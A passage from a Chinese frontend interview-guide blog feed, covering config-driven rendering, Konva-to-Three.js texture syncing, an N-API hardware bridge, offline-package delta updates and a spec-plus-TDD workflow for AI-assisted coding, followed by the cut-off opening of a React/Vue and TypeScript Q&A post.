└─────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.3 关键设计细节&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;① Schema：声明&quot;有什么&quot;，不声明&quot;怎么摆&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;template&quot;: &quot;poster-v2&quot;,
  &quot;elements&quot;: [
    {
      &quot;id&quot;: &quot;title&quot;,
      &quot;type&quot;: &quot;text&quot;,
      &quot;binding&quot;: &quot;$.data.productName&quot;,   // 数据绑定表达式
      &quot;style&quot;: { &quot;fontSize&quot;: 64, &quot;fontWeight&quot;: 700 },
      &quot;constraints&quot;: { &quot;align&quot;: &quot;top-stretch&quot;, &quot;minScale&quot;: 0.6, &quot;overflow&quot;: &quot;shrink-to-fit&quot; }
    },
    {
      &quot;id&quot;: &quot;qrcode&quot;,
      &quot;type&quot;: &quot;image&quot;,
      &quot;constraints&quot;: { &quot;align&quot;: &quot;bottom-right&quot;, &quot;fixedRatio&quot;: true, &quot;minSize&quot;: 120 }
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;② 约束求解：画幅变化 ≠ 等比缩放&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是最容易做错的地方。等比缩放会导致竖屏上标题小到不可读、二维码超出安全区。我们为每个元素声明&lt;strong&gt;伸缩优先级&lt;/strong&gt;和&lt;strong&gt;溢出策略&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;align&lt;/code&gt;：锚定规则（吸顶、吸底、拉伸、居中）；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;priority&lt;/code&gt;：空间不足时的压缩顺序——先压缩装饰元素的留白，再缩文字（不低于 &lt;code&gt;minScale&lt;/code&gt;），最后才对非关键元素执行 &lt;code&gt;overflow: hide&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;safeArea&lt;/code&gt;：画幅级的安全区声明，任何元素不得溢出。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;求解器在渲染前跑一遍，输出一套针对当前画幅的&lt;strong&gt;绝对布局结果&lt;/strong&gt;，渲染器只负责画，不含任何适配逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function solve(schema: TemplateSchema, viewport: Viewport): LayoutResult {
  const anchored = applyAnchors(schema.elements, viewport);      // 锚定
  const fitted = resolveOverflow(anchored, viewport.safeArea);   // 按优先级压缩/裁切
  return assertConstraints(fitted, viewport);                    // 约束校验，违反即构建期报错
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;③ 场景注入：模板不感知场景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;场景差异（数据接口、主题色板、语言、字体栈）全部收敛为一份 &lt;code&gt;SceneContext&lt;/code&gt;，在 Schema 解析阶段完成变量替换。模板作者永远只面对一份 Schema。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;④ 类型与校验前置&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Schema、约束、场景上下文全部有 TypeScript 类型定义，配置错误在编译期暴露；发布流水线里增加一步&quot;全画幅渲染快照比对&quot;，任何组合渲染异常直接拦截发布。&lt;/p&gt;
&lt;h3&gt;1.4 收益与复盘&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;新增一个画幅：从&quot;改 N 个模板 + 全量回归&quot;变成&quot;写一份画幅约束配置 + 快照验证&quot;；&lt;/li&gt;
&lt;li&gt;模板代码量下降约 60%，布局 bug 修复从多处收敛为求解器单点；&lt;/li&gt;
&lt;li&gt;最重要的经验：&lt;strong&gt;配置驱动的边界要划清——规则进代码，组合进配置&lt;/strong&gt;。曾有人提议把&quot;元素的动画时序&quot;也做成配置，结果配置 DSL 复杂到没人会写，后来退回代码层用预设动画承接。配置化不是越多越好，&lt;strong&gt;配置的复杂度也是一种代码&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;二、Konva 2D 画布 × Three.js：让设计稿&quot;贴&quot;进 3D 场景并可交互编辑&lt;/h2&gt;
&lt;h3&gt;2.1 需求场景&lt;/h3&gt;
&lt;p&gt;用户在设计器里编辑 2D 画面（Konva 画布），需要实时预览&quot;这个画面贴到 3D 样机/屏幕/展架上&quot;的效果，并且&lt;strong&gt;可以直接在 3D 视图里点选、拖拽 2D 元素&lt;/strong&gt;——所见即所得的 2D↔3D 联动。&lt;/p&gt;
&lt;h3&gt;2.2 技术方案：CanvasTexture 单向数据流 + UV 反向交互&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;① 2D → 3D：CanvasTexture&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Konva 的 Layer 本质是 &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; 元素，可直接作为 Three.js 纹理源：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const konvaCanvas = konvaLayer.getCanvas()._canvas;
const texture = new THREE.CanvasTexture(konvaCanvas);
texture.colorSpace = THREE.SRGBColorSpace;
mesh.material = new THREE.MeshBasicMaterial({ map: texture });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;② 更新节流：一帧最多上传一次&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;每次 Konva 重绘都置 &lt;code&gt;texture.needsUpdate = true&lt;/code&gt; 会把 GPU 带宽打满（纹理上传是同步开销）。正确做法是用 rAF 合并脏标记：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let dirty = false;
stage.on(&apos;draw&apos;, () =&amp;gt; { dirty = true; });

renderer.setAnimationLoop(() =&amp;gt; {
  if (dirty) {
    texture.needsUpdate = true;
    dirty = false;
  }
  renderer.render(scene, camera);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时按 3D 场景的实际展示尺寸对画布&lt;strong&gt;降采样&lt;/strong&gt;——2D 编辑画布可能是 4K 的，3D 预览里贴图 1080p 足够，显存直接省 4 倍。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;③ 3D → 2D：射线检测 + UV 反算&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 3D 场景点击模型表面时：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;raycaster.setFromCamera(pointerNdc, camera);
const hit = raycaster.intersectObject(mesh)[0];
if (hit.uv) {
  // UV(0~1) 反算到 2D 画布坐标系
  const x = hit.uv.x * konvaStage.width();
  const y = (1 - hit.uv.y) * konvaStage.height();  // 注意 V 轴翻转
  // 把点击事件转发给 Konva 命中系统
  const shape = konvaLayer.getIntersection({ x, y });
  shape?.fire(&apos;click&apos;, { evt: syntheticEvent });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拖拽同理：射线持续求交，把 UV 位移量换算成 Konva 节点的 &lt;code&gt;dragBoundFunc&lt;/code&gt; 约束内位移。&lt;/p&gt;
&lt;h3&gt;2.3 踩坑记录&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;UV 翻转&lt;/strong&gt;：Canvas 的 Y 轴向下、纹理 V 轴向上，忘了翻转会导致交互位置上下镜像；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;纹理色偏&lt;/strong&gt;：不做 &lt;code&gt;SRGBColorSpace&lt;/code&gt; 声明，贴图颜色在 3D 光照下明显发灰；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;大画布显存&lt;/strong&gt;：mipmap 开启后显存 +33%，非正交视角下建议开、正视 UI 场景可以关；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;双渲染循环打架&lt;/strong&gt;：早期版本 Konva 和 Three.js 各跑各的 rAF，帧率互相抖动。合并为&lt;strong&gt;单一动画循环驱动两者&lt;/strong&gt;后稳定。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.4 架构原则&lt;/h3&gt;
&lt;p&gt;这套协同能长期维护的关键是&lt;strong&gt;职责单向&lt;/strong&gt;：2D 画布是内容的唯一真相源（single source of truth），3D 只是它的一个&quot;观察者 + 交互代理&quot;；交互事件可以回流，但 3D 层永远不直接改内容数据。一旦允许双向随意写，状态同步会变成噩梦。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;三、Hybrid 硬件跨端：一份前端产物驱动桌面客户端与 UVC 外设&lt;/h2&gt;
&lt;h3&gt;3.1 整体架构&lt;/h3&gt;
&lt;p&gt;产品形态是&quot;Web 技术栈的桌面应用 + 外接硬件（UVC 摄像头等外设）&quot;，同一份前端产物还要跑在浏览器和移动 WebView 里做降级体验。架构分三层：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌────────────────────────────────────────┐
│ 业务层（React）—— 只依赖统一能力接口      │
├────────────────────────────────────────┤
│ Bridge SDK —— 能力探测 / 协议版本协商     │
├──────────┬──────────┬──────────────────┤
│ WebView  │ 桌面IPC   │ 浏览器降级        │
│ Adapter  │(N-API)   │(WebRTC/WebAPI)   │
└──────────┴────┬─────┴──────────────────┘
                │
        C++ 设备 SDK（独立子进程）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.2 N-API 桥接 C++ SDK&lt;/h3&gt;
&lt;p&gt;设备 SDK 是 C++ 回调风格，N-API 封装的三个关键点：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;① ThreadSafeFunction 跨线程回抛&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设备事件（帧数据、状态变化）来自 C++ 工作线程，必须用 &lt;code&gt;napi_threadsafe_function&lt;/code&gt; 安全地调度回 JS 主线程，直接在非 JS 线程调 napi 函数会崩溃。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;② 回调转 Promise/EventEmitter&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 封装后的对外 API：一次性指令走 Promise，持续事件走 EventEmitter
const devices = await deviceBridge.enumerate();          // Promise
deviceBridge.on(&apos;frame&apos;, (frame: FrameBuffer) =&amp;gt; {});    // 事件流
deviceBridge.on(&apos;stateChange&apos;, (s: DeviceState) =&amp;gt; {});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;③ 帧数据的背压控制&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;摄像头 30fps 出帧，JS 侧渲染消费不了 30fps 时，绝不能让帧在队列里堆积（内存暴涨 + 延迟累积）。策略：&lt;strong&gt;只保留最新帧（drop-old）&lt;/strong&gt;，共享内存传帧 + 元数据消息通知，JS 侧 rAF 消费。&lt;/p&gt;
&lt;h3&gt;3.3 设备状态机：热插拔是最大的敌人&lt;/h3&gt;
&lt;p&gt;USB 设备随时可能插入、拔出、被其他进程占用、固件异常。我们把设备生命周期建模为显式状态机：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;disconnected → connecting → ready ⇄ busy
                    ↓           ↓
                  error ←───────┘
                    ↓
              reconnecting（指数退避）→ connecting
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;每次状态迁移广播事件，UI 层&lt;strong&gt;只做订阅式防御渲染&lt;/strong&gt;——任何界面元素都假设设备可能在下一帧消失；&lt;/li&gt;
&lt;li&gt;重连成功后必须&lt;strong&gt;重新协商会话&lt;/strong&gt;（分辨率、帧率、控制参数），不能复用断开前的状态；&lt;/li&gt;
&lt;li&gt;设备被占用（另一个进程持有）时给出明确错误码和文案，这类&quot;环境问题&quot;占了客服工单的大头。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.4 崩溃隔离&lt;/h3&gt;
&lt;p&gt;C++ SDK 崩溃不能带走客户端主进程：SDK 跑在&lt;strong&gt;独立子进程&lt;/strong&gt;，通过 IPC 通信；主进程心跳监控，异常退出自动拉起并驱动状态机进入 &lt;code&gt;reconnecting&lt;/code&gt;。上线后 SDK 崩溃对用户的表现从&quot;应用闪退&quot;降级为&quot;设备短暂断开后自动恢复&quot;。&lt;/p&gt;
&lt;h3&gt;3.5 复盘&lt;/h3&gt;
&lt;p&gt;前端工程师做到这一层的价值：&lt;strong&gt;排查半径覆盖全链路&lt;/strong&gt;。&quot;画面不出来&quot;这种问题，可能出在 USB 枚举、格式协商、N-API 桥、帧消费、渲染层任何一环——只懂 JS 的人只能把问题踢给客户端团队等排期，能读 C++ 日志、能抓 USB 描述符的前端可以当场定位到层。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;四、离线包差量热更新：H5 发版的分钟级触达&lt;/h2&gt;
&lt;h3&gt;4.1 为什么需要离线包&lt;/h3&gt;
&lt;p&gt;Hybrid 场景下 H5 走线上 URL 有两个死穴：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;WebView 缓存策略不可控，新版本资源&quot;半新半旧&quot;是常态；&lt;/li&gt;
&lt;li&gt;弱网/无网环境（门店、展厅、交通工具）直接白屏。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;离线包方案：静态资源打包下发到客户端本地，WebView 通过资源拦截（Android &lt;code&gt;shouldInterceptRequest&lt;/code&gt; / iOS &lt;code&gt;WKURLSchemeHandler&lt;/code&gt;）读本地文件，&lt;strong&gt;加载耗时从秒级降到几十毫秒，且天然支持无网运行&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;4.2 差量更新设计&lt;/h3&gt;
&lt;p&gt;全量包动辄几十 MB，每次发版全量下载不可接受。差量方案：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;① 版本清单（manifest）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;version&quot;: &quot;20260915.3&quot;,
  &quot;baseVersion&quot;: &quot;20260901.1&quot;,        // 差量基准
  &quot;files&quot;: [
    { &quot;path&quot;: &quot;assets/index.8f3a.js&quot;, &quot;hash&quot;: &quot;8f3a...&quot;, &quot;size&quot;: 421337 },
    { &quot;path&quot;: &quot;assets/vendor.c21b.js&quot;, &quot;hash&quot;: &quot;c21b...&quot;, &quot;size&quot;: 892011 }
  ],
  &quot;signature&quot;: &quot;...&quot;                   // 包签名
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;② 更新流程&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;客户端上报当前 version + 文件哈希表
        ↓
服务端 diff → 返回变更文件清单（增/删/改）
        ↓
并发下载变更文件（大文件可选 bsdiff 二进制差量）
        ↓
写入 staging 临时目录 → 逐文件哈希校验
        ↓
全部通过 → 原子切换版本指针 → 清理旧版本（保留上一版）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;③ 三个保命设计&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原子切换&lt;/strong&gt;：更新过程中 WebView 读到的永远是完整的旧版本，绝不存在&quot;半更新&quot;状态被加载；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自动回滚&lt;/strong&gt;：新版本启动后若崩溃计数超阈值（如 3 次），自动回退上一版本并上报，坏包影响面被限制在一个发布批次内；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;签名校验 + 防降级&lt;/strong&gt;：包体签名防篡改；版本号单调递增校验，防止中间人诱导回滚到有漏洞的旧版。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.3 收益&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;发版触达：从&quot;用户下次冷启动 + 缓存过期&quot;的天级，变为&lt;strong&gt;推送后分钟级&lt;/strong&gt;；紧急 bugfix 不再依赖 WebView 缓存玄学；&lt;/li&gt;
&lt;li&gt;流量：典型迭代差量包只有全量的 10%~20%；&lt;/li&gt;
&lt;li&gt;首屏：本地资源加载让弱网环境首屏时间从 3s+ 降到 500ms 内。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;五、spec + TDD 的 AI 协作流：把 AI 从&quot;玩具&quot;变成&quot;生产线&quot;&lt;/h2&gt;
&lt;h3&gt;5.1 问题：AI 写代码快，但&quot;不敢合&quot;&lt;/h3&gt;
&lt;p&gt;直接用自然语言让 AI 写功能，产出看起来像模像样，合入时却心里没底：边界条件漏了没有？改动有没有波及无关逻辑？测试是谁写的——AI 自己写测试给自己打分，等于没有测试。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AI 辅助研发的瓶颈从来不是生成速度，而是验证成本。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;5.2 工作流设计&lt;/h3&gt;
&lt;p&gt;我把协作流程规范成四步，核心思想是&lt;strong&gt;把人的精力从&quot;审查代码&quot;前移到&quot;审查规范与计划&quot;&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Spec 先行（人主导，AI 起草）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;需求先收敛为结构化 spec：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;## 背景
## 目标（可验收的行为描述）
## 非目标（明确不做什么）
## 边界与异常（空数据/超时/并发/权限）
## 验收标准（Given-When-Then 列表）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;模糊需求在这一步被逼着显形——写不出验收标准，说明需求本身没想清楚，这时候写代码（无论人写还是 AI 写）都是浪费。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — 测试先行（AI 生成，人裁决）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;让 AI 把验收标准翻译成测试用例。&lt;strong&gt;先审测试再审实现&lt;/strong&gt;：测试用例是否覆盖边界、断言是否精确、有没有&quot;实现什么就断言什么&quot;的同义反复。测试通过了人的裁决，才允许进入实现。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — 实施计划（AI 生成，人审查）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;AI 输出改动计划：涉及文件清单、每个文件的改动意图、每步的验证命令。人审查的是&lt;strong&gt;计划的合理性&lt;/strong&gt;（有没有不该动的文件被动了、步骤是否可独立验证），而不是等代码写完再审 diff。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4 — 执行 + 行级归因&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;AI 按计划实施，每步测试绿灯再进下一步。最终 diff 做&lt;strong&gt;行级归因&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每一行改动对应 spec 的哪一条？&lt;/li&gt;
&lt;li&gt;归因不到的改动 = 未经授权的发挥，一律拒收或补 spec；&lt;/li&gt;
&lt;li&gt;关键路径代码人工重写或逐行确认，AI 负责脚手架、测试和样板。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.3 工程化配套&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;自定义 Skill&lt;/strong&gt;：把团队规范固化为可复用的 AI 技能——按组件模板生成&quot;组件 + 测试 + 文档&quot;三件套、按 commit 规范生成提交信息，保证 AI 产出天然符合团队约定；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MCP 工具链&lt;/strong&gt;：接入内部文档库、监控平台、设计稿系统，AI 能直接查线上错误堆栈、读接口文档，减少人工喂上下文的损耗；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI 卡口&lt;/strong&gt;：AI 参与的 PR 走同一套门禁（类型检查、测试覆盖率、性能预算），不因为是 AI 写的就降低标准，也不因为是 AI 写的就额外怀疑。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.4 效果与认知&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;在需求清晰的任务上（表单页、接口对接、工具函数、测试补全），从需求到可合入 PR 的周期缩短约 50%~70%；&lt;/li&gt;
&lt;li&gt;在需求模糊的任务上，流程强制把&quot;想清楚&quot;前置，返工率明显下降——这部分收益比速度更重要；&lt;/li&gt;
&lt;li&gt;最大的认知转变：&lt;strong&gt;AI 时代前端工程师的稀缺能力是&quot;把需求写成无歧义规范&quot;和&quot;设计验证闭环&quot;&lt;/strong&gt;。生成代码会越来越便宜，定义&quot;什么是对的&quot;永远贵。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片速记&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;五大深水区实践一句话速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;配置驱动渲染&lt;/strong&gt;：规则进代码、组合进配置；四层架构（Schema / 约束 / 场景 / 运行时）；约束求解 ≠ 等比缩放；配置的复杂度也是一种代码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2D×3D 协同&lt;/strong&gt;：CanvasTexture 单向数据流 + rAF 节流上传 + UV 反算交互回流；2D 是唯一真相源，3D 只做观察者 + 交互代理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hybrid 硬件链路&lt;/strong&gt;：统一 Bridge + 能力探测；N-API ThreadSafeFunction 回抛 + drop-old 背压；设备状态机 + 子进程崩溃隔离&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;离线包热更新&lt;/strong&gt;：manifest 差量下发 + 原子切换 + 自动回滚 + 签名防降级；发版从天级到分钟级&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI 协作流&lt;/strong&gt;：spec 先行 + 测试先行 + 实施计划 + 行级归因；瓶颈不是生成速度而是验证成本&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
回看这五个实践，贯穿始终的是同一套方法论：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;实践&lt;/th&gt;
&lt;th&gt;收敛动作&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;配置驱动渲染&lt;/td&gt;
&lt;td&gt;组合爆炸 → 规则与配置分离&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2D×3D 协同&lt;/td&gt;
&lt;td&gt;双向纠缠 → 单向数据流 + 事件回流&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hybrid 硬件链路&lt;/td&gt;
&lt;td&gt;宿主碎片化 → 统一 Bridge + 状态机&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;离线包热更新&lt;/td&gt;
&lt;td&gt;发版不可控 → 清单化 + 原子切换 + 自动回滚&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI 协作流&lt;/td&gt;
&lt;td&gt;生成不可信 → spec 先行 + 验证闭环 + 行级归因&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;深水区问题的解法几乎都不是&quot;更强的技巧&quot;，而是&quot;更清晰的边界&quot;&lt;/strong&gt;：谁拥有数据、谁负责适配、什么时候允许失败、失败了怎么兜底。把这些边界定义清楚，剩下的只是实现。&lt;/p&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
🎉 &lt;strong&gt;恭喜！&lt;/strong&gt; 你已完成《前端面试宝典》全部 22 篇文章的学习（00 总览 + 21 专题）。从 HTML/CSS/JS 三剑客到框架跨端、工程化网络、后端知识、进阶必修、软素质 HR 面，再到 Node.js 全栈与本篇的深水区实战，这套知识库覆盖了 6 年中高级前端的完整能力版图。&lt;/p&gt;
&lt;p&gt;上一篇：&lt;a href=&quot;/blog/posts/interview-guide-20-frontend-core-qa/&quot;&gt;资深前端核心能力问答&lt;/a&gt;（24 问&quot;怎么想&quot;）&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/interview-guide-00-overview/&quot;&gt;面试宝典总览&lt;/a&gt; | &lt;a href=&quot;/blog/interview-guide/&quot;&gt;面试宝典合集页&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最后想说&lt;/strong&gt;：框架和工具会过时，&quot;把复杂问题收敛为可维护系统&quot;的方法论不会。祝面试顺利，拿到心仪 Offer！🎉&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>资深前端核心能力问答（双栈 / 图形渲染 / Hybrid / AI 研发）</title><link>http://117.72.32.87/blog/posts/interview-guide-20-frontend-core-qa/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-20-frontend-core-qa/</guid><description>以问答形式沉淀 6 年前端实战经验，覆盖 React/Vue 双栈选型、TypeScript 落地、Next.js SSR/SSG/ISR、Konva/Three.js 图形渲染、Hybrid 硬件跨端、工程化性能、状态管理、BFF 全栈、国际化、AI 辅助研发与部署 SEO 共 24 问。</description><pubDate>Wed, 16 Sep 2026 15:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是《前端面试宝典》的&lt;strong&gt;资深实战问答扩展篇&lt;/strong&gt;，以问答形式沉淀 6 年前端在 React/Vue 双栈、图形可视化、Hybrid 硬件跨端、工程化性能、国际化与 AI 辅助研发上的实践。每个问题都附上真实思考路径，既可做面试自查清单，也适合同行交流。难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、React / Vue 双栈与 TypeScript&lt;/h2&gt;
&lt;h3&gt;Q1：同时精通 React 和 Vue，实际选型时你怎么决策？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;考察点&lt;/strong&gt;：是否理解两个框架的设计哲学，而不是只会 API。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;我不认为&quot;哪个更好&quot;是个有意义的问题，选型要看三个维度：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;团队基因&lt;/strong&gt;：团队之前用什么、成员的心智模型是什么，迁移成本永远比框架优劣更贵。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;业务形态&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;中后台、强表单、快速交付 → Vue + Element/ProComponents 生态成熟，模板语法对多人协作更友好；&lt;/li&gt;
&lt;li&gt;复杂交互、重状态逻辑、需要精细控制渲染 → React 的函数式模型 + Hooks 组合能力更强，配合 zustand 这类原子化状态库可以做到很细的渲染控制。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;渲染目标&lt;/strong&gt;：需要 SSR/SEO 深度定制时，Next.js 生态目前仍是第一梯队；纯客户端应用两者差距不大。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我自己的习惯是：&lt;strong&gt;在 React 里用 Vue 的思维审视模板复杂度，在 Vue 里用 React 的思维审视状态流向&lt;/strong&gt;。双栈的价值不是会两套 API，而是能跳出单一框架的惯性去设计架构。&lt;/p&gt;
&lt;h3&gt;Q2：React 和 Vue 的响应式原理有什么本质区别？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vue&lt;/strong&gt;：编译时 + 运行时结合的&lt;strong&gt;依赖收集&lt;/strong&gt;。Vue 3 用 Proxy 拦截数据读写，组件渲染时收集依赖，数据变更时精确通知到依赖它的组件，更新粒度是&quot;组件级 + 依赖级&quot;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;React&lt;/strong&gt;：&lt;strong&gt;不可变数据 + 调度重渲染&lt;/strong&gt;。状态变更触发组件及其子树重新执行 render 函数，通过 diff 决定真实 DOM 操作。React 不追踪&quot;谁依赖了哪个数据&quot;，所以需要 &lt;code&gt;memo&lt;/code&gt; / &lt;code&gt;useMemo&lt;/code&gt; / &lt;code&gt;useCallback&lt;/code&gt; 手动做优化，或者靠 zustand 这类带 selector 的状态库实现精确订阅。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一句话总结：&lt;strong&gt;Vue 把优化做在框架里，React 把优化交给开发者&lt;/strong&gt;。这也解释了为什么 React 项目更容易出现&quot;改一处、渲染一片&quot;的性能问题——它是心智模型层面的差异。&lt;/p&gt;
&lt;h3&gt;Q3：TypeScript 在大型项目里怎么落地，遇到过哪些深水区问题？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;参考回答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;落地路径上我推动过三件事：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;严格模式渐进开启&lt;/strong&gt;：先 &lt;code&gt;strictNullChecks&lt;/code&gt;，再全量 &lt;code&gt;strict&lt;/code&gt;，配合 CI 卡口防止回退；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;类型收口&lt;/strong&gt;：接口类型从服务端 Schema（OpenAPI/protobuf）自动生成，杜绝手写漂移；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;公共类型库&lt;/strong&gt;：把业务实体、枚举、组件 Props 规范沉淀到 monorepo 的 shared 包。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;深水区问题举两个例子：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;泛型与配置驱动&lt;/strong&gt;：做「模板 × 场景 × 画幅」这类配置化渲染时，需要用条件类型 + 映射类型让配置项和组件 Props 联动，配置写错在编译期就报错，而不是运行时白屏；&lt;/li&gt;
